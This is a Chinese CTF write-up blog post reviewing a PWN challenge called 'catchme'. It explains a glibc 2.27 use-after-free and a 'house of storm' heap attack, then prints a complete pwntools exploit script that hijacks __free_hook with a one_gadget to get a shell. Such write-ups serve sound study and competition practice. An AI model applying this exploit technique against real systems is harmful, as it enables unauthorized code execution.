2026长城杯半决赛 AWDP-PWN赛后回顾
Zach0ry Lv4

前段时间参加了ciscn华中赛区的半决赛,成绩不是很理想,就在最后patch了一道catchme,其它题目都没有去看,今天看了师傅们的博客,发现全是uaf漏洞,心在滴血www。但是在复现途中确实的发现了自己很多不足。:chart_with_upwards_trend:

本来想记录一下的,一直拖着没搞,趁着今天空闲时间比较长来复现一下题目

catchme

house of storm

特性 malloc calloc realloc
主要目的 分配内存 分配并清零内存 修改已分配内存的大小
初始化 随机残余数据 (Dirty) 全清零 (Zero-initialized) 保留旧数据,新扩大部分不初始化
参数个数 1 (总字节数) 2 (元素个数, 单个大小) 2 (原指针, 新总字节数)
性能 略低(有清零开销) 不确定(若涉及拷贝则低)
返回值 指向新内存的指针 指向新内存的指针 指向调整后内存的指针(可能变动)

这里再放一下

image

add看到有三种模式的malloc,并且会输出chunk地址的WORD2

image

uaf漏洞

image

有show,从+8位置开始输出

终于不用通过IO结构体去操作了,但是只能show1次

image

从user_con+8处开始填入,只能改0x18大小,并且限制次数为3次

image

还有一个clean函数,清空了所有的chunk地址

break

分析:

2.27的libc版本,3个malloc的大小中还有一个0x50,PIE的 x64 程序的堆地址总是 0x55xxxx… 或者 0x56xxxx…,考虑house of storm

先填满0x50的tcache,然后泄露libc基地址,再malloc一个chunk释放进unsorted bin,因为它只能从user_con+8的位置开始修改,改bk为free_hook-0x10-0x8,之后再通过large bin改free_hook这个伪造chunk上面的伪造的size

Houseof Storm中,目标是让calloc从伪造的地址(free_hook 附近)分配出内存。calloc 默认不使用Tcache:在大多数GLIBC版本中,calloc 在申请内存时会跳过从Tcache中直接取块的步骤。但如果此时Ox50的Tcache没满,calloc在找到你那个伪造的0x56块时,并不会立刻把它返回给用户。
• 根据Tcache Stashing机制,它可能会尝试把这个新发现的”好东西”先放入Tcache列表里。
• 由于你的块是伪造的,它只具备最基础的size和一些指针结构。如果它被塞进Tcache,可能会因为 Tcache的一些额外检查(如key字段清零或计数器更新)或者在后续从Tcache取块时触发崩溃。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *
import sys

file_path = "./catchme"
remote_host = "127.0.0.1"
remote_port = 1111
context(arch='amd64', os='linux', log_level='debug')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc

def dbg():
gdb.attach(p)
pause()

def sla(a, b): p.sendlineafter(a, b)
def sl(a): p.sendline(a)
def s(a): p.send(a)
def ru(a): p.recvuntil(a)
def sa(a, b): p.sendafter(a, b)
def bin_sys(libc_base): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def uu64(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def uu32(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

# --- 封装函数修改为 add/edit/free 风格 ---

def add(idx):
sla(">>\n", '1')
sla("(3)otter\n", str(idx))

def free(idx):
sla(">>\n", "2")
sla("index:\n", str(idx))

def show(idx):
sla(">>\n", "3")
sla("index:\n", str(idx))

def edit(idx, content):
sla(">>\n", "4")
sla("index:\n", str(idx))
sa("set tag:\n", content)

def clean_note(idx):
sla(">>\n", "6")
sla("index:\n", str(idx))

def exploit():

for i in range(7):
add(3)
free(0)
clean_note(0)
#泄露libc
add(1) # idx 0
add(1) # idx 1
free(0)
show(0)
ru("tag:")
libc_base = uu64() - 0x3ebca0
success(f"libc_base: {hex(libc_base)}")

#校验chunk头地址
add(2) # idx 2
ru("token(2):")
flag_hex_str = p.recvline().strip()
flag_value = int(flag_hex_str, 16)
if flag_value != 0x56:
log.warn(f"Current flag {hex(flag_value)}, not 0x56, retrying...")
raise Exception("Brute force failed")

#unsorted bin改bin链到free_hook-8
add(2) # idx 3
free(2)
free_hook = libc_base + 0x3ed8e8
payload_bk = p64(free_hook - 0x10 - 0x8)
edit(2, payload_bk)




payload_large = p64(free_hook - 0x10) + p64(0)
payload_large += p64(free_hook - 0x20 - 0x10 - 5)
edit(0, payload_large)

one_gadget = libc_base + 0x4f302
add(3)# idx 4
edit(4, p64(one_gadget))

free(0)

p.interactive()

count = 0
while True:
count += 1
try:
if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)

print(f"[*] 第 {count} 次尝试爆破...")
exploit()
print(f"[+] 爆破成功,共尝试了 {count} 次!")
break
except Exception as e:
print(f"[-] Wrong: {e}")
try:
p.close()
except:
pass

fix

这里放一篇赛时写的文章

catchme_fix

broken_message

fix

uaf漏洞

image

 请作者喝杯咖啡
 Comments
Comment plugin failed to load
Loading comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View